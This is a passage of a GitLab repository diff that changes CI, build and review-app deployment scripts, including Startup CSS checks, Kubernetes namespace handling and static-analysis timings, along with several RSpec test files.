+ should_clean=true
+fi
+
+copy_assets
+
+if $should_clean; then
+ echo "Starting cleanup..."
+ clean_assets
+fi
diff --git a/scripts/frontend/startup_css/startup_css_changed.sh b/scripts/frontend/startup_css/startup_css_changed.sh
new file mode 100755
index 00000000000..f214e61cdfb
--- /dev/null
+++ b/scripts/frontend/startup_css/startup_css_changed.sh
@@ -0,0 +1,40 @@
+#!/bin/sh
+
+echo "-----------------------------------------------------------"
+echo "If you run into any issues with Startup CSS generation"
+echo "please check out the feedback issue:"
+echo ""
+echo "https://gitlab.com/gitlab-org/gitlab/-/issues/331812"
+echo "-----------------------------------------------------------"
+
+startup_glob="*stylesheets/startup*"
+
+echo "Staging changes to '${startup_glob}' so we can check for untracked files..."
+git add ${startup_glob}
+
+if [ -n "$(git diff HEAD --name-only -- ${startup_glob})" ]; then
+ diff=$(git diff HEAD -- ${startup_glob})
+ cat <<EOF
+
+Startup CSS changes detected!
+
+It looks like there have been recent changes which require
+regenerating the Startup CSS files.
+
+**What should I do now?**
+
+IMPORTANT: Please make sure to update your MR title with "[RUN AS-IF-FOSS]" and start a new MR pipeline
+
+To fix this job, consider one of the following options:
+
+ 1. Regenerating locally with "yarn run generate:startup_css".
+ 2. Copy and apply the following diff:
+
+----- start diff -----
+$diff
+
+----- end diff -------
+EOF
+
+ exit 1
+fi
diff --git a/scripts/frontend/startup_css/utils.js b/scripts/frontend/startup_css/utils.js
new file mode 100644
index 00000000000..49ad201fb6b
--- /dev/null
+++ b/scripts/frontend/startup_css/utils.js
@@ -0,0 +1,8 @@
+const die = (message) => {
+ console.log(message);
+ process.exit(1);
+};
+
+const log = (message) => console.error(`[gitlab.startup_css] ${message}`);
+
+module.exports = { die, log };
diff --git a/scripts/frontend/startup_css/write_startup_scss.js b/scripts/frontend/startup_css/write_startup_scss.js
new file mode 100644
index 00000000000..245681bada3
--- /dev/null
+++ b/scripts/frontend/startup_css/write_startup_scss.js
@@ -0,0 +1,28 @@
+const { writeFileSync } = require('fs');
+const path = require('path');
+const prettier = require('prettier');
+const { PATH_STARTUP_SCSS } = require('./constants');
+
+const buildFinalContent = (raw) => {
+ const content = `// DO NOT EDIT! This is auto-generated from "yarn run generate:startup_css"
+// Please see the feedback issue for more details and help:
+// https://gitlab.com/gitlab-org/gitlab/-/issues/331812
+@charset "UTF-8";
+${raw}
+@import 'startup/cloaking';
+@include cloak-startup-scss(none);
+`;
+
+ // We run prettier so that there is more determinism with the generated file.
+ return prettier.format(content, { parser: 'scss' });
+};
+
+const writeStartupSCSS = (name, raw) => {
+ const fullPath = path.join(PATH_STARTUP_SCSS, `${name}.scss`);
+
+ writeFileSync(fullPath, buildFinalContent(raw));
+
+ return fullPath;
+};
+
+module.exports = { writeStartupSCSS };
diff --git a/scripts/gitaly-test-build b/scripts/gitaly-test-build
index 4890e6912cd..e6afadccc7e 100755
--- a/scripts/gitaly-test-build
+++ b/scripts/gitaly-test-build
@@ -15,7 +15,14 @@ class GitalyTestBuild
def run
set_bundler_config
- abort 'gitaly build failed' unless build_gitaly
+ # If we have the binaries from the cache, we can skip building them again
+ if File.exist?(tmp_tests_gitaly_bin_dir)
+ GitalySetup::LOGGER.debug "Gitaly binary already built. Skip building...\n"
+ # We still need to install the gems in that case
+ install_gitaly_gems
+ else
+ abort 'gitaly build failed' unless build_gitaly
+ end
ensure_gitlab_shell_secret!
check_gitaly_config!
diff --git a/scripts/lint-changelog-filenames b/scripts/lint-changelog-filenames
deleted file mode 100755
index fc07b7153aa..00000000000
--- a/scripts/lint-changelog-filenames
+++ /dev/null
@@ -1,12 +0,0 @@
-#!/bin/sh
-
-lint_paths="changelogs/unreleased"
-[ -d "ee/" ] && lint_paths="$lint_paths ee/changelogs/unreleased"
-
-invalid_files=$(find $lint_paths -type f -not -name "*.yml" -not -name ".gitkeep")
-
-if [ -n "$invalid_files" ]; then
- echo "Changelog files must end in .yml, but these did not:"
- echo "$invalid_files" | sed -e "s/^/* /"
- exit 1
-fi
diff --git a/scripts/prepare_build.sh b/scripts/prepare_build.sh
index 5753a0af4f8..e0be80d429f 100644
--- a/scripts/prepare_build.sh
+++ b/scripts/prepare_build.sh
@@ -42,6 +42,9 @@ sed -i 's|url:.*$|url: redis://redis:6379/11|g' config/redis.queues.yml
cp config/redis.shared_state.yml.example config/redis.shared_state.yml
sed -i 's|url:.*$|url: redis://redis:6379/12|g' config/redis.shared_state.yml
+cp config/redis.trace_chunks.yml.example config/redis.trace_chunks.yml
+sed -i 's|url:.*$|url: redis://redis:6379/13|g' config/redis.trace_chunks.yml
+
if [ "$SETUP_DB" != "false" ]; then
setup_db
elif getent hosts postgres; then
diff --git a/scripts/review_apps/base-config.yaml b/scripts/review_apps/base-config.yaml
index 7daf3f80efc..bb4d5392b3b 100644
--- a/scripts/review_apps/base-config.yaml
+++ b/scripts/review_apps/base-config.yaml
@@ -113,10 +113,10 @@ nginx-ingress:
ssl-ciphers: ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:!aNULL:!eNULL:!EXPORT:!DES:!MD5:!PSK:!RC4
resources:
requests:
- cpu: 100m
+ cpu: 300m
memory: 450M
limits:
- cpu: 200m
+ cpu: 600m
memory: 675M
service:
enableHttp: false
diff --git a/scripts/review_apps/review-apps.sh b/scripts/review_apps/review-apps.sh
index 5b52797d285..6fb83e79f7f 100755
--- a/scripts/review_apps/review-apps.sh
+++ b/scripts/review_apps/review-apps.sh
@@ -40,7 +40,7 @@ function previous_deploy_failed() {
}
function delete_release() {
- local namespace="${KUBE_NAMESPACE}"
+ local namespace="${CI_ENVIRONMENT_SLUG}"
local release="${CI_ENVIRONMENT_SLUG}"
if [ -z "${release}" ]; then
@@ -48,39 +48,11 @@ function delete_release() {
return
fi
- # Check if helm release exists before attempting to delete
- # There may be situation where k8s resources exist, but helm release does not,
- # for example, following a failed helm install.
- # In such cases, we still want to continue to clean up k8s resources.
- if deploy_exists "${namespace}" "${release}"; then
- helm_delete_release "${namespace}" "${release}"
- fi
- kubectl_cleanup_release "${namespace}" "${release}"
-}
-
-function helm_delete_release() {
- local namespace="${1}"
- local release="${2}"
-
- echoinfo "Deleting Helm release '${release}'..." true
-
- helm uninstall --namespace "${namespace}" "${release}"
-}
-
-function kubectl_cleanup_release() {
- local namespace="${1}"
- local release="${2}"
-
- echoinfo "Deleting all K8s resources matching '${release}'..." true
- kubectl --namespace "${namespace}" get ingress,svc,pdb,hpa,deploy,statefulset,job,pod,secret,configmap,pvc,clusterrole,clusterrolebinding,role,rolebinding,sa,crd 2>&1 \
- | grep "${release}" \
- | awk '{print $1}' \
- | xargs kubectl --namespace "${namespace}" delete --ignore-not-found \
- || true
+ delete_k8s_release_namespace
}
function delete_failed_release() {
- local namespace="${KUBE_NAMESPACE}"
+ local namespace="${CI_ENVIRONMENT_SLUG}"
local release="${CI_ENVIRONMENT_SLUG}"
if [ -z "${release}" ]; then
@@ -93,7 +65,7 @@ function delete_failed_release() {
else
# Cleanup and previous installs, as FAILED and PENDING_UPGRADE will cause errors with `upgrade`
if previous_deploy_failed "${namespace}" "${release}" ; then
- echoinfo "Review App deployment in bad state, cleaning up ${release}"
+ echoinfo "Review App deployment in bad state, cleaning up namespace ${release}"
delete_release
else
echoinfo "Review App deployment in good state"
@@ -101,8 +73,14 @@ function delete_failed_release() {
fi
}
+function delete_k8s_release_namespace() {
+ local namespace="${CI_ENVIRONMENT_SLUG}"
+
+ kubectl delete namespace "${namespace}" --wait
+}
+
function get_pod() {
- local namespace="${KUBE_NAMESPACE}"
+ local namespace="${CI_ENVIRONMENT_SLUG}"
local release="${CI_ENVIRONMENT_SLUG}"
local app_name="${1}"
local status="${2-Running}"
@@ -133,7 +111,7 @@ function get_pod() {
}
function run_task() {
- local namespace="${KUBE_NAMESPACE}"
+ local namespace="${CI_ENVIRONMENT_SLUG}"
local ruby_cmd="${1}"
local task_runner_pod=$(get_pod "task-runner")
@@ -149,13 +127,12 @@ function disable_sign_ups() {
fi
# Create the root token
- local ruby_cmd="token = User.find_by_username('root').personal_access_tokens.create(scopes: [:api], name: 'Token to disable sign-ups'); token.set_token('${REVIEW_APPS_ROOT_TOKEN}'); begin; token.save!; rescue(ActiveRecord::RecordNotUnique); end"
- retry "run_task \"${ruby_cmd}\""
+ local set_token_rb="token = User.find_by_username('root').personal_access_tokens.create(scopes: [:api], name: 'Token to disable sign-ups'); token.set_token('${REVIEW_APPS_ROOT_TOKEN}'); begin; token.save!; rescue(ActiveRecord::RecordNotUnique); end"
+ retry "run_task \"${set_token_rb}\""
# Disable sign-ups
- local signup_enabled=$(retry 'curl --silent --show-error --request PUT --header "PRIVATE-TOKEN: ${REVIEW_APPS_ROOT_TOKEN}" "${CI_ENVIRONMENT_URL}/api/v4/application/settings?signup_enabled=false" | jq ".signup_enabled"')
-
- if [[ "${signup_enabled}" == "false" ]]; then
+ local disable_signup_rb="Gitlab::CurrentSettings.current_application_settings.update!(signup_enabled: false)"
+ if (retry "run_task \"${disable_signup_rb}\""); then
echoinfo "Sign-ups have been disabled successfully."
else
echoerr "Sign-ups are still enabled!"
@@ -177,13 +154,22 @@ function check_kube_domain() {
}
function ensure_namespace() {
- local namespace="${KUBE_NAMESPACE}"
+ local namespace="${1}"
echoinfo "Ensuring the ${namespace} namespace exists..." true
kubectl describe namespace "${namespace}" || kubectl create namespace "${namespace}"
}
+function label_namespace() {
+ local namespace="${1}"
+ local label="${2}"
+
+ echoinfo "Labeling the ${namespace} namespace with ${label}" true
+
+ kubectl label namespace "${namespace}" "${label}"
+}
+
function install_external_dns() {
local namespace="${KUBE_NAMESPACE}"
local release="dns-gitlab-review-app-helm3"
@@ -245,7 +231,7 @@ function install_certmanager() {
}
function create_application_secret() {
- local namespace="${KUBE_NAMESPACE}"
+ local namespace="${CI_ENVIRONMENT_SLUG}"
local release="${CI_ENVIRONMENT_SLUG}"
local initial_root_password_shared_secret
local gitlab_license_shared_secret
@@ -306,7 +292,7 @@ function parse_gitaly_image_tag() {
}
function deploy() {
- local namespace="${KUBE_NAMESPACE}"
+ local namespace="${CI_ENVIRONMENT_SLUG}"
local release="${CI_ENVIRONMENT_SLUG}"
local base_config_file_ref="${CI_DEFAULT_BRANCH}"
if [[ "$(base_config_changed)" == "true" ]]; then base_config_file_ref="${CI_COMMIT_SHA}"; fi
@@ -324,11 +310,15 @@ function deploy() {
gitlab_shell_image_repository="${IMAGE_REPOSITORY}/gitlab-shell"
gitlab_workhorse_image_repository="${IMAGE_REPOSITORY}/gitlab-workhorse-ee"
+ ensure_namespace "${namespace}"
+ label_namespace "${namespace}" "tls=review-apps-tls" # label namespace for kubed to sync tls
+
create_application_secret
HELM_CMD=$(cat << EOF
helm upgrade \
--namespace="${namespace}" \
+ --create-namespace \
--install \
--wait \
--timeout "${HELM_INSTALL_TIMEOUT:-20m}" \
@@ -370,6 +360,7 @@ HELM_CMD=$(cat << EOF
${HELM_CMD} \
--version="${CI_PIPELINE_ID}-${CI_JOB_ID}" \
-f "${base_config_file}" \
+ -v "${HELM_LOG_VERBOSITY:-1}" \
"${release}" "gitlab-${GITLAB_HELM_CHART_REF}"
EOF
)
@@ -380,8 +371,20 @@ EOF
eval "${HELM_CMD}"
}
+function verify_deploy() {
+ echoinfo "Verifying deployment at ${CI_ENVIRONMENT_URL}"
+
+ if retry "test_url \"${CI_ENVIRONMENT_URL}\" curl_output.txt"; then
+ echoinfo "Review app is deployed to ${CI_ENVIRONMENT_URL}"
+ return 0
+ else
+ echoerr "Review app is not available at ${CI_ENVIRONMENT_URL}. See curl_output.txt artifact for detail."
+ return 1
+ fi
+}
+
function display_deployment_debug() {
- local namespace="${KUBE_NAMESPACE}"
+ local namespace="${CI_ENVIRONMENT_SLUG}"
local release="${CI_ENVIRONMENT_SLUG}"
# Get all pods for this release
diff --git a/scripts/rspec_helpers.sh b/scripts/rspec_helpers.sh
index b1a618270b0..0484cabca82 100644
--- a/scripts/rspec_helpers.sh
+++ b/scripts/rspec_helpers.sh
@@ -85,7 +85,7 @@ function rspec_db_library_code() {
local db_files="spec/lib/gitlab/database/ spec/support/helpers/database/"
if [[ -d "ee/" ]]; then
- db_files="${db_files} ee/spec/lib/gitlab/database/ ee/spec/lib/ee/gitlab/database_spec.rb"
+ db_files="${db_files} ee/spec/lib/ee/gitlab/database_spec.rb"
fi
rspec_simple_job "-- ${db_files}"
diff --git a/scripts/security-harness b/scripts/security-harness
index 0c1ade06587..ec062fc17cc 100755
--- a/scripts/security-harness
+++ b/scripts/security-harness
@@ -4,6 +4,7 @@
require 'digest'
require 'fileutils'
+require 'open3'
if ENV['NO_COLOR']
SHELL_RED = ''
@@ -18,7 +19,7 @@ else
end
LEFTHOOK_GLOBAL_CONFIG_PATH = File.expand_path("../lefthook.yml", __dir__)
-HOOK_PATH = File.expand_path("../.git/hooks/pre-push", __dir__)
+HOOK_PATH = Open3.capture3("git rev-parse --path-format=absolute --git-path hooks/pre-push")[0].strip
HOOK_DATA = <<~HOOK
#!/usr/bin/env bash
diff --git a/scripts/static-analysis b/scripts/static-analysis
index 136b2966244..7aa2fbf1594 100755
--- a/scripts/static-analysis
+++ b/scripts/static-analysis
@@ -20,26 +20,25 @@ class StaticAnalysis
# contain values that a FOSS installation won't find. To work
# around this we will only enable this task on EE installations.
TASKS_BY_DURATIONS_SECONDS_DESC = {
- %w[bin/rake lint:haml] => 338,
- (Gitlab.ee? ? %w[bin/rake gettext:updated_check] : nil) => 308,
+ %w[bin/rake lint:haml] => 488,
+ (Gitlab.ee? ? %w[bin/rake gettext:updated_check] : nil) => 410,
# Most of the time, RuboCop finishes in 30 seconds, but sometimes it can take around 1200 seconds so we set a
# duration of 300 to lower the likelihood that it will run in the same job as another long task...
%w[bundle exec rubocop --parallel] => 300,
- %w[yarn run lint:eslint:all] => 197,
- %w[yarn run lint:prettier] => 124,
- %w[bin/rake gettext:lint] => 96,
+ %w[yarn run lint:eslint:all] => 264,
+ %w[yarn run lint:prettier] => 134,
+ %w[bin/rake gettext:lint] => 81,
%w[bundle exec license_finder] => 49,
- %w[bin/rake lint:static_verification] => 22,
- %w[bin/rake gitlab:sidekiq:all_queues_yml:check] => 13,
- (Gitlab.ee? ? %w[bin/rake gitlab:sidekiq:sidekiq_queues_yml:check] : nil) => 13,
+ %w[bin/rake lint:static_verification] => 24,
+ %w[bin/rake gitlab:sidekiq:all_queues_yml:check] => 12,
+ (Gitlab.ee? ? %w[bin/rake gitlab:sidekiq:sidekiq_queues_yml:check] : nil) => 11,
%w[bin/rake config_lint] => 11,
- %w[yarn run internal:stylelint] => 9,
- %w[scripts/lint-conflicts.sh] => 0.59,
- %w[yarn run block-dependencies] => 0.35,
- %w[scripts/lint-rugged] => 0.23,
- %w[scripts/gemfile_lock_changed.sh] => 0.02,
- %w[scripts/frontend/check_no_partial_karma_jest.sh] => 0.01,
- %w[scripts/lint-changelog-filenames] => 0.01
+ %w[yarn run internal:stylelint] => 8,
+ %w[scripts/lint-conflicts.sh] => 1,
+ %w[yarn run block-dependencies] => 1,
+ %w[scripts/lint-rugged] => 1,
+ %w[scripts/gemfile_lock_changed.sh] => 1,
+ %w[scripts/frontend/check_no_partial_karma_jest.sh] => 1
}.reject { |k| k.nil? }.sort_by { |a| -a[1] }.to_h.keys.freeze
def run_tasks!
diff --git a/scripts/trigger-build b/scripts/trigger-build
index 0d8a46bdd2d..23c9ebbe294 100755
--- a/scripts/trigger-build
+++ b/scripts/trigger-build
@@ -255,7 +255,7 @@ module Trigger
end
def ref
- ENV['DOCS_BRANCH'] || 'master'
+ ENV['DOCS_BRANCH'] || 'main'
end
# `gitlab-org/gitlab-docs` pipeline trigger "Triggered from gitlab-org/gitlab 'review-docs-deploy' job"
@@ -297,10 +297,43 @@ module Trigger
end
class DatabaseTesting < Base
+ IDENTIFIABLE_NOTE_TAG = 'gitlab-org/database-team/gitlab-com-database-testing:identifiable-note'
+
def self.access_token
ENV['GITLABCOM_DATABASE_TESTING_ACCESS_TOKEN']
end
+ def invoke!(post_comment: false, downstream_job_name: nil)
+ pipeline = super
+ gitlab = gitlab_client(:upstream)
+ project_path = base_variables['TOP_UPSTREAM_SOURCE_PROJECT']
+ merge_request_id = base_variables['TOP_UPSTREAM_MERGE_REQUEST_IID']
+ comment = "<!-- #{IDENTIFIABLE_NOTE_TAG} --> \nStarted database testing [pipeline](https://ops.gitlab.net/#{downstream_project_path}/-/pipelines/#{pipeline.id}) " \
+ "(limited access). This comment will be updated once the pipeline has finished running."
+
+ # Look for a note to update
+ db_testing_notes = gitlab.merge_request_notes(project_path, merge_request_id).auto_paginate.select do |note|
+ note.body.include?(IDENTIFIABLE_NOTE_TAG)
+ end
+
+ note = db_testing_notes.max_by { |note| Time.parse(note.created_at) }
+
+ if note && note.type != 'DiscussionNote'
+ # The latest note has not led to a discussion. Update it.
+ gitlab.edit_merge_request_note(project_path, merge_request_id, note.id, comment)
+
+ puts "Updated comment:\n"
+ else
+ # This is the first note or the latest note has been discussed on the MR.
+ # Don't update, create new note instead.
+ note = gitlab.create_merge_request_note(project_path, merge_request_id, comment)
+
+ puts "Posted comment to:\n"
+ end
+
+ puts "https://gitlab.com/#{project_path}/-/merge_requests/#{merge_request_id}#note_#{note.id}"
+ end
+
private
def gitlab_client(type)
@@ -356,6 +389,8 @@ module Trigger
INTERVAL = 60 # seconds
MAX_DURATION = 3600 * 3 # 3 hours
+ attr_reader :id
+
def self.unscoped_class_name
name.split('::').last
end
@@ -384,7 +419,7 @@ module Trigger
raise "#{self.class.unscoped_class_name} did not succeed!"
end
- STDOUT.flush
+ $stdout.flush
end
raise "#{self.class.unscoped_class_name} timed out after waiting for #{duration} minutes!"
@@ -405,7 +440,7 @@ module Trigger
private
- attr_reader :project, :id, :gitlab_client, :start_time
+ attr_reader :project, :gitlab_client, :start_time
end
Job = Class.new(Pipeline)
diff --git a/scripts/utils.sh b/scripts/utils.sh
index d4436e1171d..529491c3a0d 100644
--- a/scripts/utils.sh
+++ b/scripts/utils.sh
@@ -13,6 +13,20 @@ function retry() {
return 1
}
+function test_url() {
+ local url="${1}"
+ local curl_output="${2}"
+ local status
+
+ status=$(curl -s -o "${curl_output}" -L -w ''%{http_code}'' "${url}")
+
+ if [[ $status == "200" ]]; then
+ return 0
+ fi
+
+ return 1
+}
+
function bundle_install_script() {
local extra_install_args="${1}"
diff --git a/scripts/verify-tff-mapping b/scripts/verify-tff-mapping
index e18a14e17d6..4555a9854dd 100755
--- a/scripts/verify-tff-mapping
+++ b/scripts/verify-tff-mapping
@@ -84,8 +84,8 @@ tests = [
{
explanation: 'FOSS views should map to respective spec',
- source: 'app/views/admin/users/_user.html.haml',
- expected: ['spec/views/admin/users/_user.html.haml_spec.rb']
+ source: 'app/views/admin/dashboard/index.html.haml',
+ expected: ['spec/views/admin/dashboard/index.html.haml_spec.rb']
},
{
diff --git a/spec/bin/changelog_spec.rb b/spec/bin/changelog_spec.rb
deleted file mode 100644
index 8a86f574bf5..00000000000
--- a/spec/bin/changelog_spec.rb
+++ /dev/null
@@ -1,119 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-load File.expand_path('../../bin/changelog', __dir__)
-
-RSpec.describe 'bin/changelog' do
- let(:options) { OpenStruct.new(title: 'Test title', type: 'fixed', dry_run: true) }
-
- describe ChangelogEntry do
- it 'truncates the file path' do
- entry = described_class.new(options)
-
- allow(entry).to receive(:ee?).and_return(false)
- allow(entry).to receive(:branch_name).and_return('long-branch-' * 100)
-
- file_path = entry.send(:file_path)
- expect(file_path.length).to eq(99)
- end
- end
-
- describe ChangelogOptionParser do
- describe '.parse' do
- it 'parses --amend' do
- options = described_class.parse(%w[foo bar --amend])
-
- expect(options.amend).to eq true
- end
-
- it 'parses --force and -f' do
- %w[--force -f].each do |flag|
- options = described_class.parse(%W[foo #{flag} bar])
-
- expect(options.force).to eq true
- end
- end
-
- it 'parses --merge-request and -m' do
- %w[--merge-request -m].each do |flag|
- options = described_class.parse(%W[foo #{flag} 1234 bar])
-
- expect(options.merge_request).to eq 1234
- end
- end
-
- it 'parses --dry-run and -n' do
- %w[--dry-run -n].each do |flag|
- options = described_class.parse(%W[foo #{flag} bar])
-
- expect(options.dry_run).to eq true
- end
- end
-
- it 'parses --git-username and -u' do
- allow(described_class).to receive(:git_user_name).and_return('Jane Doe')
-
- %w[--git-username -u].each do |flag|
- options = described_class.parse(%W[foo #{flag} bar])
-
- expect(options.author).to eq 'Jane Doe'
- end
- end
-
- it 'parses --type and -t' do
- %w[--type -t].each do |flag|
- options = described_class.parse(%W[foo #{flag} security])
-
- expect(options.type).to eq 'security'
- end
- end
-
- it 'parses --ee and -e' do
- %w[--ee -e].each do |flag|
- options = described_class.parse(%W[foo #{flag} security])
-
- expect(options.ee).to eq true
- end
- end
-
- it 'parses -h' do
- expect do
- expect { described_class.parse(%w[foo -h bar]) }.to output.to_stdout
- end.to raise_error(ChangelogHelpers::Done)
- end
-
- it 'assigns title' do
- options = described_class.parse(%W[foo -m 1 bar\n baz\r\n --amend])
-
- expect(options.title).to eq 'foo bar baz'
- end
- end
-
- describe '.read_type' do
- let(:type) { '1' }
-
- it 'reads type from $stdin' do
- expect($stdin).to receive(:getc).and_return(type)
- expect do
- expect(described_class.read_type).to eq('added')
- end.to output.to_stdout
- end
-
- context 'invalid type given' do
- let(:type) { '99' }
-
- it 'shows error message and exits the program' do
- allow($stdin).to receive(:getc).and_return(type)
-
- expect do
- expect { described_class.read_type }.to raise_error(
- ChangelogHelpers::Abort,
- 'Invalid category index, please select an index between 1 and 8'
- )
- end.to output.to_stdout
- end
- end
- end
- end
-end
diff --git a/spec/bin/sidekiq_cluster_spec.rb b/spec/bin/sidekiq_cluster_spec.rb
index 503cc0999c5..1bba048a27c 100644
--- a/spec/bin/sidekiq_cluster_spec.rb
+++ b/spec/bin/sidekiq_cluster_spec.rb
@@ -10,8 +10,6 @@ RSpec.describe 'bin/sidekiq-cluster' do
where(:args, :included, :excluded) do
%w[--negate cronjob] | '-qdefault,1' | '-qcronjob,1'
%w[--queue-selector resource_boundary=cpu] | '-qupdate_merge_requests,1' | '-qdefault,1'
- # Remove with https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/646
- %w[--experimental-queue-selector resource_boundary=cpu] | '-qupdate_merge_requests,1' | '-qdefault,1'
end
with_them do
@@ -31,9 +29,7 @@ RSpec.describe 'bin/sidekiq-cluster' do
context 'when selecting all queues' do
[
%w[*],
- %w[--queue-selector *],
- # Remove with https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/646
- %w[--experimental-queue-selector *]
+ %w[--queue-selector *]
].each do |args|
it "runs successfully with `#{args}`", :aggregate_failures do
cmd = %w[bin/sidekiq-cluster --dryrun] + args
diff --git a/spec/config/mail_room_spec.rb b/spec/config/mail_room_spec.rb
index ce514bd8905..074549ff591 100644
--- a/spec/config/mail_room_spec.rb
+++ b/spec/config/mail_room_spec.rb
@@ -43,7 +43,7 @@ RSpec.describe 'mail_room.yml' do
context 'when both incoming email and service desk email are enabled' do
let(:gitlab_config_path) { 'spec/fixtures/config/mail_room_enabled.yml' }
- let(:queues_config_path) { 'spec/fixtures/config/redis_queues_new_format_host.yml' }
+ let(:queues_config_path) { 'spec/fixtures/config/redis_new_format_host.yml' }
let(:gitlab_redis_queues) { Gitlab::Redis::Queues.new(Rails.env) }
it 'contains the intended configuration' do
@@ -72,7 +72,7 @@ RSpec.describe 'mail_room.yml' do
context 'when both incoming email and service desk email are enabled for Microsoft Graph' do
let(:gitlab_config_path) { 'spec/fixtures/config/mail_room_enabled_ms_graph.yml' }
- let(:queues_config_path) { 'spec/fixtures/config/redis_queues_new_format_host.yml' }
+ let(:queues_config_path) { 'spec/fixtures/config/redis_new_format_host.yml' }
let(:gitlab_redis_queues) { Gitlab::Redis::Queues.new(Rails.env) }
it 'contains the intended configuration' do
diff --git a/spec/config/metrics/aggregates/aggregated_metrics_spec.rb b/spec/config/metrics/aggregates/aggregated_metrics_spec.rb
index 9aba86cdaf2..b5f8d363d40 100644
--- a/spec/config/metrics/aggregates/aggregated_metrics_spec.rb
+++ b/spec/config/metrics/aggregates/aggregated_metrics_spec.rb
@@ -25,9 +25,9 @@ RSpec.describe 'aggregated metrics' do
RSpec::Matchers.define :have_known_time_frame do
allowed_time_frames = [
- Gitlab::Utils::UsageData::ALL_TIME_TIME_FRAME_NAME,
- Gitlab::Utils::UsageData::TWENTY_EIGHT_DAYS_TIME_FRAME_NAME,
- Gitlab::Utils::UsageData::SEVEN_DAYS_TIME_FRAME_NAME
+ Gitlab::Usage::TimeFrame::ALL_TIME_TIME_FRAME_NAME,
+ Gitlab::Usage::TimeFrame::TWENTY_EIGHT_DAYS_TIME_FRAME_NAME,
+ Gitlab::Usage::TimeFrame::SEVEN_DAYS_TIME_FRAME_NAME
]
match do |aggregate|
@@ -63,7 +63,7 @@ RSpec.describe 'aggregated metrics' do
let_it_be(:events_records) { known_events.select { |event| aggregate[:events].include?(event[:name]) } }
it "does not include 'all' time frame for Redis sourced aggregate" do
- expect(aggregate[:time_frame]).not_to include(Gitlab::Utils::UsageData::ALL_TIME_TIME_FRAME_NAME)
+ expect(aggregate[:time_frame]).not_to include(Gitlab::Usage::TimeFrame::ALL_TIME_TIME_FRAME_NAME)
end
it "only refers to known events" do
diff --git a/spec/controllers/abuse_reports_controller_spec.rb b/spec/controllers/abuse_reports_controller_spec.rb
index da7577c371d..bab0d033056 100644
--- a/spec/controllers/abuse_reports_controller_spec.rb
+++ b/spec/controllers/abuse_reports_controller_spec.rb
@@ -59,7 +59,7 @@ RSpec.describe AbuseReportsController do
it 'redirects back to the reported user' do
post :create, params: { abuse_report: attrs }
- expect(response).to redirect_to user
+ expect(response).to redirect_to root_path
end
end
diff --git a/spec/controllers/admin/appearances_controller_spec.rb b/spec/controllers/admin/appearances_controller_spec.rb
deleted file mode 100644
index ee6a4a4c7af..00000000000
--- a/spec/controllers/admin/appearances_controller_spec.rb
+++ /dev/null
@@ -1,91 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Admin::AppearancesController do
- let(:admin) { create(:admin) }
- let(:header_message) { 'Header message' }
- let(:footer_message) { 'Footer' }
-
- describe 'POST #create' do
- let(:create_params) do
- {
- title: 'Foo',
- description: 'Bar',
- header_message: header_message,
- footer_message: footer_message
- }
- end
-
- before do
- sign_in(admin)
- end
-
- it 'creates appearance with footer and header message' do
- post :create, params: { appearance: create_params }
-
- expect(Appearance.current).to have_attributes(
- header_message: header_message,
- footer_message: footer_message,
- email_header_and_footer_enabled: false,
- message_background_color: '#E75E40',
- message_font_color: '#FFFFFF'
- )
- end
-
- context 'when enabling header and footer in email' do
- it 'creates appearance with enabled flag' do
- create_params[:email_header_and_footer_enabled] = true
-
- post :create, params: { appearance: create_params }
-
- expect(Appearance.current).to have_attributes(
- header_message: header_message,
- footer_message: footer_message,
- email_header_and_footer_enabled: true
- )
- end
- end
- end
-
- describe 'PUT #update' do
- let(:update_params) do
- {
- header_message: header_message,
- footer_message: footer_message
- }
- end
-
- before do
- create(:appearance)
-
- sign_in(admin)
- end
-
- it 'updates appearance with footer and header message' do
- put :update, params: { appearance: update_params }
-
- expect(Appearance.current).to have_attributes(
- header_message: header_message,
- footer_message: footer_message,
- email_header_and_footer_enabled: false,
- message_background_color: '#E75E40',
- message_font_color: '#FFFFFF'
- )
- end
-
- context 'when enabling header and footer in email' do
- it 'updates appearance with enabled flag' do
- update_params[:email_header_and_footer_enabled] = true
-
- post :update, params: { appearance: update_params }
-
- expect(Appearance.current).to have_attributes(
- header_message: header_message,
- footer_message: footer_message,
- email_header_and_footer_enabled: true
- )
- end
- end
- end
-end
diff --git a/spec/controllers/admin/application_settings/appearances_controller_spec.rb b/spec/controllers/admin/application_settings/appearances_controller_spec.rb
new file mode 100644
index 00000000000..cc914f3c9b8
--- /dev/null
+++ b/spec/controllers/admin/application_settings/appearances_controller_spec.rb
@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Admin::ApplicationSettings::AppearancesController do
+ let(:admin) { create(:admin) }
+ let(:header_message) { 'Header message' }
+ let(:footer_message) { 'Footer' }
+
+ describe 'POST #create' do
+ let(:create_params) do
+ {
+ title: 'Foo',
+ description: 'Bar',
+ header_message: header_message,
+ footer_message: footer_message
+ }
+ end
+
+ before do
+ sign_in(admin)
+ end
+
+ it 'creates appearance with footer and header message' do
+ post :create, params: { appearance: create_params }
+
+ expect(Appearance.current).to have_attributes(
+ header_message: header_message,
+ footer_message: footer_message,
+ email_header_and_footer_enabled: false,
+ message_background_color: '#E75E40',
+ message_font_color: '#FFFFFF'
+ )
+ end
+
+ context 'when enabling header and footer in email' do
+ it 'creates appearance with enabled flag' do
+ create_params[:email_header_and_footer_enabled] = true
+
+ post :create, params: { appearance: create_params }
+
+ expect(Appearance.current).to have_attributes(
+ header_message: header_message,
+ footer_message: footer_message,
+ email_header_and_footer_enabled: true
+ )
+ end
+ end
+ end
+
+ describe 'PUT #update' do
+ let(:update_params) do
+ {
+ header_message: header_message,
+ footer_message: footer_message
+ }
+ end
+
+ before do
+ create(:appearance)
+
+ sign_in(admin)
+ end
+
+ it 'updates appearance with footer and header message' do
+ put :update, params: { appearance: update_params }
+
+ expect(Appearance.current).to have_attributes(
+ header_message: header_message,
+ footer_message: footer_message,
